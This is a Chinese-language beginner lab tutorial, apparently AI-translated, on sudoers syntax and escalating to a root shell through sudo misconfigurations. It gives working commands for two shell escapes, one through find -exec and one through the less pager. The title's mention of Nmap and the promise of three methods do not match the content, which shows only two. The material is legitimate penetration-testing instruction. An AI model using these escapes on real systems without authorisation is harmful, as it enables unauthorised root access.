在 Nmap 中学习 Sudo 权限提升方法

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,你将学习 sudo 配置文件的语法,并通过三种常见的方法来利用 sudo 漏洞或配置错误进行权限提升。目标是更好地理解如何在渗透测试中利用 sudo 进行权限提升。


Skills Graph

Sudo 配置文件语法

在这一步中,你将学习 /etc/sudoers 文件的语法,该文件用于配置 sudo 权限。

/etc/sudoers 文件用于指定哪些用户或组可以以提升的权限运行命令。要查看并保存 /etc/sudoers 文件的内容,请运行以下命令:

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

输出应类似于以下内容:

## 此文件必须使用 'visudo' 命令以 root 身份编辑。
## 这会保留来自 root 用户环境的代理设置
## 虽然通常不应以 root 身份运行 git,但在使用 etckeeper 时需要这样做
## 每个用户的偏好;root 不会有合理的值。
root    ALL=(ALL:ALL) ALL
## 管理员组的成员可以获得 root 权限

这一行指定了 root 用户可以在所有主机上以任何用户或组的身份运行任何命令。

sudoers 条目的通用语法如下:

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name:规则适用的用户或组。
  • host_list:规则适用的主机。ALL 表示所有主机。
  • run_as_user:用于运行命令的用户权限。ALL 表示任何用户。
  • run_as_group:用于运行命令的组权限。ALL 表示任何组。
  • command_list:允许用户或组运行的命令。

Sudo 允许无参数限制的权限提升

在这一步中,你将通过利用 sudo 配置错误来练习权限提升,这些配置错误允许以提升的权限运行任何命令。

  1. 首先,打开终端并导航到 /home/labex/project 目录。

    cd /home/labex/project
  2. 运行以下命令初始化环境:

    ./env_setup_1.sh
  3. 你现在以 user001 用户身份登录。

    使用 sudo -l 命令检查你的 sudo 权限:

    sudo -l
    (root) NOPASSWD:/usr/bin/find

    这意味着你可以在无需密码的情况下以 root 权限运行 find 命令。

  4. 要提升权限,请运行:

    sudo find /home -exec /bin/bash \;

    你现在应该获得了一个 root shell。

  5. /root 目录下创建一个名为 success_1.txt 的文件,以验证你是否拥有 root 权限:

    echo "success_1" | sudo tee /root/success_1.txt

    通过运行以下命令验证文件:

    cat /root/success_1.txt

    输出应为 success_1

Sudo 允许通过特定命令参数进行权限提升

在这一步中,你将通过利用 sudo 配置错误来练习权限提升,这些配置错误允许以提升的权限运行特定命令。

在上一步之后,你仍然以 root 用户身份登录。为了继续本步骤,你需要关闭当前终端并打开一个新终端。

  1. 首先,打开终端并导航到 /home/labex/project 目录。

    cd /home/labex/project
  2. 运行以下命令初始化环境:

    ./env_setup_2.sh
  3. 使用 sudo -l 检查你的 sudo 权限:

    sudo -l

    预期输出:

    (root) NOPASSWD: /bin/less /var/log/messages

    这意味着你可以在无需密码的情况下以 root 权限运行命令 /bin/less /var/log/messages

  4. 要提升权限,请运行:

    sudo less /var/log/messages

    进入 less 分页器后,运行:

    !/bin/bash

    你现在应该获得了一个 root shell。

  5. /root 目录下创建一个名为 success_2.txt 的文件,以验证你是否拥有 root 权限:

    echo "success_2" | sudo tee /root/success_2.txt

    通过运行以下命令验证文件:

    cat /root/success_2.txt

    输出应为 success_2

总结

在本实验中,你学习了 /etc/sudoers 文件的语法以及如何配置 sudo 权限。你还练习了通过 sudo 配置错误或漏洞进行权限提升的三种常见方法。通过理解如何利用 sudo 进行权限提升,你可以更好地评估和缓解 Linux 系统中的潜在安全风险。